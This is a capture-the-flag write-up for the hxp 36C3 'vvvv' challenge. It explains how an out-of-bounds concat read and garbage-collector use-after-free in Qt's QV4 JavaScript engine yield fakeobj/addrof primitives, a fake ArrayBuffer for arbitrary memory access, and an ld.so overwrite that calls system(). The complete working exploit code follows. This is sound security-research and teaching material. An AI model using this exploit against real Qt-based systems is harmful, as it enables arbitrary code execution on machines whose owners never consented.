# hxp 36C3 CTF: vvvv
###### zahjebischte, pwn (909 points, 2 solves)
> The _other_ other JavaScript engine.>> Download: [vvvv-cc9085ea51e239dc.tar.xz](https://2019.ctf.link/assets/files/vvvv-cc9085ea51e239dc.tar.xz) (11.3 KiB)  > Connection: `nc 88.198.156.11 13336`
 - Qt ships with a custom JavaScript engine called QV4, in which it runs all of   its QML-related JS code (it also ships with JavaScriptCore, because of   QtWebKit, and with V8 for QtWebEngine, but because those both form parts of   major browsers, QV4 is the less known target here).
 - A developer build of QV4 will generally include the `qmljs` tool that runs   JavaScript files directly, even without any of the QML features. This is the   mode that is used here to avoid any of Qt's "special features" causing issues   (after all, there are fun things like `Qt.openUrlExternally` that we would   need to take care of if QML was enabled). Note that there are still a few   extensions present (e.g. `String.prototype.arg`), but a cursory inspection   reveals no straightforward vulnerabilities.
 - You should also know that the release build of Qt does _not_ check `Q_ASSERT`   statements. This may come in handy, although it is not always necessary.
 - I modified [Fuzzilli](https://github.com/googleprojectzero/fuzzilli) to   interface with `qmljs` in order to find the bug(s) used here. My fork is   available [here](https://github.com/tobiasholl/fuzzilli).   Unfortunately,`qmljs` also crashes for pretty much any operation on overly   large arrays (especially `includes`), and whenever converting a recursive   array to a string, so the fuzzer spits out a whole lot of crashes with   little useful content. (My implementation also appears to not cleanly reset   the engine after every test, but thankfully the fuzzer separates reproducible   and non-reproducible crashes. Nevertheless, there are some crashes that do   not occur when run manually...). I also found some bugs manually that result   in an overflow on the VM stack, but the guard pages combined with an   almost-instant crash mean that I found no way to exploit these crashes.
 - The exploit follows the "standard" path via `fakeobj` and `addrof` primitives   (see [this](http://www.phrack.org/papers/attacking_javascript_engines.html)),   by creating a user-controlled `ArrayBuffer` with a manipulated size that   allows read and write access to arbitrary memory locations.
 - Unfortunately, QV4's lack of optimizations make this remarkably annoying.   Unlike in JSC or V8, there is only one way that objects are represented in   memory: as tagged values. A pointer will _almost always_ have a different   tag in memory than a double, so converting between the two is difficult.   The way this works is documented in `qv4value_p.h`: On a normal 64-bit   machine (excluding IA64, but that can hardly be considered "normal" nowadays)   the _actual_ maximum pointer length is 48 bits, so QV4  generally uses the   top 16 bits to indicate the type of the value stored. For pointers, it just   leaves these 16 bits empty. Because that overlaps with valid IEEE754 doubles,   it normally mangles doubles by XORing them with `0xffff800000000000`.
 - One odd place in which this doesn't happen is for the `Number` object   (internally represented by a `QV4::NumberObject`), which ends up storing its   value as a C++ `double`, rather than the mangled form normally used by QV4.   This allows us to combine a read of uninitialized (or rather non-cleared)   memory into a quick `fakeobj` primitive (note that running garbage collection   after creating the fake object even by accident will result in a crash).
 - Such a read occurs when `concat`enating an array with a manipulated length   (set by assigning to its `length` property) to a normal array. This (unlike   the normal array access) does not verify that enough space was allocated to   contain entries for the updated length, so when copying objects from the   modified array into the new array, it reads outside of the bounds of the   array's storage and copies heap objects (allocated with `QV4::MemoryManager`,   so no fancy heap exploitation yet) from previous allocations to the new   array. Creating and copying a few `Number` objects (in theory, a single one   should be enough) allows using its `double` member to craft a `QV4::Value` by   simply accessing the new array at the index it was copied to. ```javascriptfunction allocNumbers(addrDouble) {    for (let i = 0; i < 10; ++i) {        // TypedArrays are created on the normal heap :(        // String objects refer to the Heap::String only by reference :(        // Heap::String objects only store a pointer to a QString (which also is UTF16) :(        // DateObject fails on TimeClip :(        // ...but NumberObject will do the job :D        const n = new Number(addrDouble);    }}function fakeobj(addrDouble) {    // NB that this fakes an actual QV4::Object at this address, not the underlying heap structure.    // This is somewhat unfortunate because that means that unless you can leak the address of a    // controlled buffer (and control the memory at the faked address), you will not be able to set    // up a valid data pointer.    const v4 = [1337,1337,1337];    const v7 = [1337,1337];    allocNumbers(addrDouble);    v7.length = 1337;    const v9 = v4.concat(v7);    // gc(); // Uncomment this to trigger a crash here. To show the buffer in GDB: f 4; x/1340ag values    var fake = v9[11];    // Unsure if this cleanup is really necessary - GC will crash anyways because of the fakeobj:    for (var i = 0; i < v9.length; ++i)         v9[i] = 1337;    return fake;}```
 - Unfortunately, this OOB copy/read does not directly lead to a straightforward   way to turn a pointer back into a usable number. Because allocations are   generally sequential (see `QV4::BlockAllocator::allocate`), pointers to   objects will almost never point into the newly allocated array space. (At   this point, it may be useful to note that I spent a whole lot of time trying   to find incorrect uses of `QV4::Value::doubleValue` or related functions that   would leak even partial addresses, but unfortunately got nowhere. This   includes calls that were only guarded with `Q_ASSERT` instead of a proper   conditional. The only really interesting "wrong" use of `Q_ASSERT` is in   `QV4::Runtime::method_objectLiteral`, but the objects that are accessed there   appear to be generated by the VM, and are not user-controllable. It is also   questionable whether that path would actually be exploitable given that the   function does not directly report the result of the conversion.
 - Analyzing the source code for the memory manager reveals that there is a way   to obtain an allocation below the current end of the allocated space: If the   allocation is smaller than 224 bytes and the relevant `freeBin` contains an   element, it uses that spot instead of the fallback bump allocator. Another   scenario is far less likely: the allocation must hit at the exact time where   the current chunk is out of memory _and_ there is a large enough free block   in any one of the bins. Of course, this strategy requires finding a way to   place an item into one of the bins, and the only way to achieve this is to   run a full GC pass (which thankfully can be triggered by running `gc()` from   the JavaScript code).
 - A GC pass seems fairly simple. It consists of two phases: _mark_ and _sweep_   (see the source code for `QV4::MemoryManager::runGC`). In the marking phase,   the garbage collector iterates through all sorts of objects that it can find   (including objects held by the engine, such as its classes, identifiers, and   compilation units, objects on the stack, and certain persistent objects that   ought to be treated differently), and _marks_ any `QV4::Heap::Base` objects   (in general, this will be anything stored on the QV4 heap) by pushing them to   a special `MarkStack`. This stack is limited in size, and will be drained   prematurely whenever it reaches that limit, but certainly at the end of the   marking phase. During this draining step, the GC pops items from the mark   stack one by one, and looks up the type-specific marking functions in their   vtable, then instructs the object to mark itself. (This amount of indirection   is a common pattern in QV4, to the detriment of anyone who is actually trying   to understand what is going on). The magic ultimately happens for every heap   item in `QV4::Heap::Base::mark`, where the lowest layer of objects is marked.   Each chunk of memory carries a set of bitmaps, in which a slot can be marked   _gray_ or _black_ (there is also a bitmap indicating the start of a new heap   object (the _object_ or _in use_ bitmap), and a bitmap indicating that the   memory slot in question is part of a large allocation of a previous heap   object (the _extends_ bitmap, in which a bit is set to 0 both for free areas   and for the starts of objects). Here, the _black_ bitmap is the most   interesting (the _gray_ bitmap appears to be mostly unused, and the others   just keep track of free space). Objects marked in this phase (or rather their   starting slots, as found in the object bitmap) are added to the black   bitmap. During sweeping, some necessary cleanup of unmarked objects is   performed (such as removing them from `WeakSet` instances), before finally   the different allocators are asked to sweep their memory. Again, we deal with   the `QV4::BlockAllocator`: During sweeping, it first sweeps each of its   chunks, and partitions them into non-empty and empty chunks. Empty chunks are   freed entirely (and ultimately released to the OS), while non-empty chunks   are instructed to re-build the allocator's `freeBin` list. Sweeping a chunk   looks complicated, but is actually not that bad. All it does, in so much bit   magic, is find entries in the object bitmap that are not set in the black   bitmap. For these objects, it looks up the vtable, and (if appropriate)   destroys them. Finally, it updates the extends bitmap, and copies the black   bitmap over the object bitmap to mark these slots as unused. It is important   to note here that freed memory is not necessarily cleared. Refilling the   free lists occurs in `QV4::Chunk::sortIntoBins`. To do so, the GC iterates   over the _object_ and _extends_ bitmaps (in 64-bit blocks, just as for the   chunk sweeping process), finds consecutive zeroes in the bitmap, and adds the   corresponding `QV4::HeapItem` to the `freeBin` of the correct size. In doing   so, it overwrites the heap item's first two qwords with a pointer to the next   free item in the `freeBin`, and the number of free slots available here.
 - Using the GC, it is possible to construct a UaF that _finally_ allows leaking   the address of an arbitrary object. In order to achieve this, we construct   the following environment: The target of our OOB copy is followed by three   contiguous heap objects that will be freed simultaneously in order to not   corrupt at least one (each heap object consists of a pointer to its   `InternalClass`, a pointer to its `MemberData`, and a pointer to its   `ArrayData`, followed by any type-specific members; it is important for us to   keep the `InternalClass` pointer valid, because otherwise frequently-used   simple operations such as `isObject()` will result in a crash). In our case,   the second object will be a `QV4::Heap::NumberObject`, containing the actual   value as a C++ `double` as its fourth qword. Behind this, then, follows some   other object (presumably an array) that references the number - the copy of   this object will give us access to our UaF. In order to keep the allocation   sizes managable, we insert blocker elements that we keep alive beyond the end   of the function call by returning an array containing these elements. The   next step is to free the objects in question by calling `gc()`. Then, the   OOB copy yields a snapshot of a full `QV4::Heap::NumberObject` _and_ a   reference to the heap location. We then overlap the freed allocation with a   new array's `QV4::Heap::SimpleArrayData`, reconstruct the `NumberObject`, and   replace its `double` value with the object in question. That should give us   access to any other object's address. To avoid crashing on GC, we zero out   both the newly allocated array and the copied array.
```javascriptfunction setUpHeap() {    // This may not work reliably, especially after running a lot of code.    // Allocate three heap objects consecutively, and reference them in an array.    // 2261634.5098039214 should end up represented as 0x4141414141414141,    // 156842099844.51764 as 0x4242424242424242. Use this to verify allocations in GDB.    // To subdivide the space into the correct sizes, we use blocker elements that will not    // be freed by the garbage collector.    const n1 = new Number(2261634.5098039214);    const n2 = new Number(2261634.5098039214);    const n3 = new Number(2261634.5098039214);    const blocker1 = new Number(156842099844.51764);    const objs = [n1, n1, n1, n1, n2, n2, n2, n2, n3, n3, n3, n3];    const blocker2 = new Number(156842099844.51764);    // ...and instantly make sure they are no longer referenced, _except_ the blockers.    return [blocker1, blocker2];}function addrof(obj) {    const v4 = [1337, 1337, 1337];    const v7 = [1337, 1337];    const blockers = setUpHeap(); // Set up the heap for GC.    gc(); // Collect garbage in order to set up the allocator    v7.length = 1337;    const v9 = v4.concat(v7); // Copy/OOB read    // Create a new array to overlap with the old NumberObject    const overlap = new Array(16);    // Copy the NumberObject back, and overwrite its value with the pointer to the object    for (let i = 0; i < 3; ++i)        overlap[3 + i] = v9[16 + i];    // Overwrite the value with the object in question    overlap[6 /* base (3) + i (3) */] = obj;    // Get the reference to the NumberObject and instantly turn it into a primitive value    const number = v9[57].valueOf();    // Clean up for GC    for (let i = 0; i < v9.length; ++i)        v9[i] = 0;    for (let i = 0; i < overlap.length; ++i)        overlap[i] = 0;    // Return the address    return number;}```
 - To build the final exploit, we modify the address leak slightly in order to   _also_ include an `ArrayBuffer` JavaScript object in the OOB copy. In order   to defeat ASLR, we make the allocation large enough (>= 128 KiB), so that the   underlying `QArrayData` (which, unlike the rest of QV4, uses `malloc` instead   of falling back to page- and therefore `mmap`-based allocators that appear to   come straight from JavaScriptCore) falls back to `mmap` too. We can leak the   address of that `QArrayData` object (which is just the 24-byte header before   the actual `ArrayBuffer` data), and the address of the `ArrayBuffer`'s   `InternalClass` (which we need to create a "valid" fake object). We also need   some helper functions to deal with 64-bit integers, because unlike modern   browser JS engines, QV4 does not include the `BigInt` type.
 - Setting up the actual object in the `ArrayBuffer` is straightforward: We   spoof a `QV4::Heap::ArrayBuffer` object at the start of the buffer   (consisting of the leaked internal class, empty member and array data fields,   and a pointer to the next qword in the buffer that will contain a fake   `QArrayData` object), and follow that with the `QArrayData` (useful tip:   `ptype /o QArrayData` in GDB spits out all the types and offsets). In theory,   there should also be an `isShared` boolean after the pointer, but its value   doesn't matter to us, so we just use whatever the `QArrayData` puts there...
 - A `QArrayData` contains a reference count (set this large enough so that it   never goes away), the size of the array in bytes (as a signed 32-bit   integer), the size of the allocation in a 31-bit bitfield (from testing, the   `alloc` member tends be exactly one larger than the `size`, so we use a   maximum size of `0x7ffffffe`), a 4-byte hole, and _finally_ the offset to the   data (which in all but the most general case is just `sizeof(QArrayData)`,   i.e. 24). Using `fakeobj` (plus some heap massaging in order to make sure the   `NumberObject` is actually copied), we obtain the fake `QV4::ArrayBuffer`,   and create a `Float64Array` and a `Uint8Array` for easier handling.
 - The `QArrayData` is perfectly positioned to overwrite into `ld.so` (and   indeed is at a constant offset from the same), so we can easily reuse the   [Wiedergänger](https://github.com/kirschju/wiedergaenger) attack by filling   in the function pointer using the `Float64Array`, and the argument by using   the `Uint8Array`.
 - Upon termination, `qmljs` will now pop a shell or run your favorite command.   We just `cat /flag_*` to get the flag.
Here is the full exploit code:
```javascript'use strict';
// QV4 does not actually support 64-bit integers, so we need to do some little tricks herelet conversionBuffer = new ArrayBuffer(8);let conversionF64 = new Float64Array(conversionBuffer);let conversionU32 = new Uint32Array(conversionBuffer);
let I64 = {    MASK: 0xFFFFFFFF,    from: function (u, l) {        if (l === undefined) {            // I64.from(i32) should be the same as I64.from(0, i32).            l = u;            u = 0;        }        if (u > I64.MASK || u < 0 || l > I64.MASK || l < 0)            throw RangeError('Invalid pieces for I64');        return { upper: u, lower: l };    },    add: function (a, b) {        if (typeof a === "number") a = I64.from(a);        if (typeof b === "number") b = I64.from(b);        let lowerSum = a.lower + b.lower;        let carry = lowerSum > I64.MASK ? 1 : 0;        if (carry) lowerSum = (lowerSum - 1) - I64.MASK;        let upperSum = a.upper + b.upper + carry;        if (upperSum > I64.MASK) upperSum = (upperSum - 1) - I64.MASK;        return I64.from(upperSum, lowerSum);    },    sub: function (a, b) {        if (typeof a === "number") a = I64.from(a);        if (typeof b === "number") b = I64.from(b);        let lowerDiff = a.lower - b.lower;        let borrow = lowerDiff < 0 ? 1 : 0;        if (borrow) lowerDiff = (lowerDiff + 1) + I64.MASK;        let upperDiff = a.upper - b.upper - borrow;        if (upperDiff < 0) upperDiff = (upperDiff + 1) + I64.MASK;        return I64.from(upperDiff, lowerDiff);    },}
function toF64(i) {    // Flip items around, because little endian, and we want hex to be as natural as possible    conversionU32[0] = i.lower;    conversionU32[1] = i.upper;    return conversionF64[0];}function toI64(f64) {    conversionF64[0] = f64;    return I64.from(conversionU32[1], conversionU32[0]);}function toHexString(i) {    let upperStr = i.upper.toString(16).padStart(8, '0');    let lowerStr = i.lower.toString(16).padStart(8, '0');    return '0x' + upperStr + lowerStr;}
// Here are our general-purpose fakeobj() and addrof() primitives, and the helpers for them.// We don't actually end up using addrof() itself (we have a slightly more specialized version// further down that does some additional introspection that makes it easier to create a fake// object), but I left it in anyways for reference.function allocNumbers(addrDouble) {    for (let i = 0; i < 10; ++i) {        // TypedArrays are created on the normal heap :(        // String objects refer to the Heap::String only by reference :(        // Heap::String objects only store a pointer to a QString (which also is UTF16) :(        // DateObject fails on TimeClip :(        // ...but NumberObject will do the job :D        const n = new Number(addrDouble);    }}function fakeobj(addrDouble) {    // NB that this fakes an actual QV4::Object at this address, not the underlying heap structure.    // This is somewhat unfortunate because that means that unless you can leak the address of a    // controlled buffer (and control the memory at the faked address), you will not be able to set    // up a valid data pointer.    const v4 = [1337,1337,1337];    const v7 = [1337,1337];    allocNumbers(addrDouble);    v7.length = 1337;    const v9 = v4.concat(v7);    // gc(); // Uncomment this to trigger a crash here. To show the buffer in GDB: f 4; x/1340ag values    var fake = v9[11];    // Unsure if this cleanup is really necessary - GC will crash anyways because of the fakeobj:    for (var i = 0; i < v9.length; ++i)         v9[i] = 1337;    return fake;}
function allocateLotsOfStuff(count) {    // To make addrof and fakeobj more reliable, allocate lots of objects of each size in order    // to use up the freebins and go back to bump allocation. Each new array allocates    // a control block of size 0x40, plus space for the array data.    // The allocations are set up in a way that ensures that we use up all possible freebins    // (except the one for a single 0x20 slot, which no object appears to cover, but which is    // not needed for addrof anyways).    let objects = new Array(6 * count);    for (let i = 0; i < 6 * count; i += 6) {        objects[i + 0] = new Number(0); // 0x40        objects[i + 1] = new RegExp('.*'); // 0x60 (+ 0x40)        objects[i + 2] = new Array(8); // 0x80 (+ 0x40)        objects[i + 3] = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2]; // 0xa0 (+ 0x40)        objects[i + 4] = new Array(12); // 0xc0 (+ 0x40)        objects[i + 5] = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4]; // 0xe0 (+ 0x40)    }    return objects;}function setUpHeap() {    // This may not work reliably, especially after running a lot of code.    // Allocate three heap objects consecutively, and reference them in an array.    // 2261634.5098039214 should end up represented as 0x4141414141414141,    // 156842099844.51764 as 0x4242424242424242. Use this to verify allocations in GDB.    // To subdivide the space into the correct sizes, we use blocker elements that will not    // be freed by the garbage collector.    const n1 = new Number(2261634.5098039214);    const n2 = new Number(2261634.5098039214);    const n3 = new Number(2261634.5098039214);    const blocker1 = new Number(156842099844.51764);    const objs = [n1, n1, n1, n1, n2, n2, n2, n2, n3, n3, n3, n3];    const blocker2 = new Number(156842099844.51764);    // ...and instantly make sure they are no longer referenced, _except_ the blockers.    return [blocker1, blocker2];}function addrof(obj) {    const v4 = [1337, 1337, 1337];    const v7 = [1337, 1337];    const blockers = setUpHeap(); // Set up the heap for GC.    gc(); // Collect garbage in order to set up the allocator    v7.length = 1337;    const v9 = v4.concat(v7); // Copy/OOB read    // Create a new array to overlap with the old NumberObject    const overlap = new Array(16);    // Copy the NumberObject back, and overwrite its value with the pointer to the object    for (let i = 0; i < 3; ++i)        overlap[3 + i] = v9[16 + i];    // Overwrite the value with the object in question    overlap[6 /* base (3) + i (3) */] = obj;    // Get the reference to the NumberObject and instantly turn it into a primitive value    const number = v9[57].valueOf();    // Clean up for GC    for (let i = 0; i < v9.length; ++i)        v9[i] = 0;    for (let i = 0; i < overlap.length; ++i)        overlap[i] = 0;    // Return the address    return number;}
// In our exploit, we specifically want the address of the QArrayData backing an ArrayBuffer.// To make exploitation easier (and avoid the nondeterministic "features" of the allocator),// we make it large enough to make malloc use mmap instead.// This duplicates much of addrof.function mmapBufferAndFindAddress() {    const SIZE_REQUIRED = 128 * 1024; // As long as the total allocation size is larger than 128KiB...    const v4 = [1337, 1337, 1337];    const v7 = [1337, 1337];    const blockers = setUpHeap(); // Set up the heap for GC.    const buffer = new ArrayBuffer(SIZE_REQUIRED); // Place the ArrayBuffer on the heap    gc(); // Collect garbage in order to set up the allocator    v7.length = 1337;    const v9 = v4.concat(v7); // Copy/OOB read    // Create a new array to overlap with the old NumberObject    const overlap = new Array(16);    // Copy the NumberObject back    for (let i = 0; i < 3; ++i)        overlap[3 + i] = v9[16 + i];    // Overwrite the value with the QArrayData pointer of the ArrayBuffer    overlap[6 /* base (3) + i (3) */] = v9[95];    // Get the reference to the NumberObject and instantly turn it into a primitive value    const arrayDataAddr = v9[57].valueOf();    // Do the same thing for the ArrayBuffer's InternalClass    overlap[6] = v9[92];    const internalClassAddr = v9[57].valueOf();    // Clean up for GC    for (let i = 0; i < v9.length; ++i)        v9[i] = 0;    for (let i = 0; i < overlap.length; ++i)        overlap[i] = 0;    // Return the addresses and the buffer    return [buffer, arrayDataAddr, internalClassAddr];}
function exploit() {    const [buffer, arrayDataAddr, internalClassAddr] = mmapBufferAndFindAddress();
    // Create a fake ArrayBuffer object within our buffer.    // The arrayDataAddr points to the actual QArrayData, so our data starts 24 bytes afterwards.    // The pointer to our fake buffer of "unlimited" length has to be another 32 bytes beyond that.    const fakeBufferObjAddr = I64.add(toI64(arrayDataAddr), 24);    const fakeBufferDataAddr = I64.add(fakeBufferObjAddr, 32);    const fakeBufferContentsAddr = I64.add(fakeBufferDataAddr, 24);
    const overlay = new Float64Array(buffer);    // Fake buffer object    overlay[0] = internalClassAddr;    overlay[1] = 0.0;    overlay[2] = 0.0;    overlay[3] = toF64(fakeBufferDataAddr);    // Fake QArrayData; NB that size is signed 32 bits    const FAKE_SIZE = 0x7FFFFFFE;    overlay[4] = toF64(I64.from(FAKE_SIZE /* size */, 0x42 /* refcount */));    overlay[5] = toF64(I64.from(0, FAKE_SIZE + 1 /* capacityReserved (1 bit) : alloc (31 bits) */))    overlay[6] = toF64(I64.from(24 /* offset */));
    // fakeobj is slightly heap-sensitive too (the NumberObjects need to end up _behind_ the    // OOB copy), so fill up open slots in the heap's freelist.    const heapBlock = allocateLotsOfStuff(8);
    // Create fake buffer object and U8 overlay    const fakeBuffer = fakeobj(toF64(fakeBufferObjAddr));    const fakeU8 = new Uint8Array(fakeBuffer);    const fakeF64 = new Float64Array(fakeBuffer);
    // Perform Wiedergänger attack. Here is where all the platform-specific constants come in.    const OFFSET_TO_LD = 0x3ecafd8; // This is the only part that is somewhat fragile...    const LD_TO_LIBC = 0x11f0000; // Subtract this.    const LIBC_SYSTEM_OFFSET = 0x491c0;    const LD_FUNCTION_PTR_OFFSET = 0x2bf00;    const LD_ARGUMENT_OFFSET = 0x2b908;
    const ldso = I64.add(fakeBufferObjAddr, OFFSET_TO_LD);    const libc = I64.sub(ldso, LD_TO_LIBC);    const system = I64.add(libc, LIBC_SYSTEM_OFFSET);
    let fpIndex = I64.sub(I64.add(ldso, LD_FUNCTION_PTR_OFFSET), fakeBufferContentsAddr);    if (fpIndex.upper)        throw new RangeError('Offset is too large to handle');    fpIndex = fpIndex.lower >>> 3; // We use floats to fill this    fakeF64[fpIndex] = toF64(system);
    let argIndex = I64.sub(I64.add(ldso, LD_ARGUMENT_OFFSET), fakeBufferContentsAddr);    if (argIndex.upper)        throw new RangeError('Offset is too large to handle');    argIndex = argIndex.lower;    let arg = 'cat /flag_*';    for (let i = 0; i < arg.length; ++i)        fakeU8[argIndex + i] = arg.charCodeAt(i);    fakeU8[argIndex + arg.length] = 0;}
exploit();```
If you host this outside of the Docker container, you will most likely haveto adjust the `OFFSET_TO_LD` and `LD_TO_LIBC` variables, regardless of whether you usethe same glibc version. If you change the glibc version, you may also need to changethe other constants.
This leaks the flag without any ASLR bruteforcing or other shenanigans (remember that`mmap` allocates memory somewhat sequentially, so that offsets are constant regardlessof ASLR):
```hxp{QV4,_JSC,_V8..._Wh4t_0n_34rth_d035_Qt_n33d_THR33_J4v45cr1pt_3n61n35_f0r???}```